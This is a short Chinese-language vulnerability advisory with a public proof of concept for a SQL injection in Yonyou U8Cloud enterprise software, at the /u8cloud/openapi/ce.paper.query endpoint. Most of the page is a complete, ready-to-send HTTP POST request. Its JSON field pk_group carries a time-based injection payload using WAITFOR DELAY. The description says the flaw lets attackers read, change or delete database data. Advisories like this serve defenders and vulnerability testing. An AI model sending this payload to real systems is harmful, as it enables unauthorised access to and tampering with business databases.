用友U8Cloud /u8cloud/openapi/ce.paper.query SQL 注入漏洞

2025-12-12 用友U8Cloud PoC Public

Description

用友U8Cloud是一款企业管理软件，广泛应用于财务、供应链、生产制造等领域。该漏洞存在于接口{{{backquote}}}/u8cloud/openapi/ce.paper.query{{{backquote}}}中，攻击者可以通过构造恶意的SQL语句，利用该漏洞获取数据库中的敏感信息，甚至可能对数据库进行修改或删除操作。

PoC

POST /u8cloud/openapi/ce/paper/query?appcode=lbsj&isEncrypt=N HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 94
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0

{
  "paperexecute": [
    { "pk_group": "1'; WAITFOR DELAY '0:0:5'--", "pk_paper": "1" }
  ]
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Yonyou U8Cloud /u8cloud/openapi/ce.paper.query SQL Injection Vulnerability

References

Related Vulnerabilities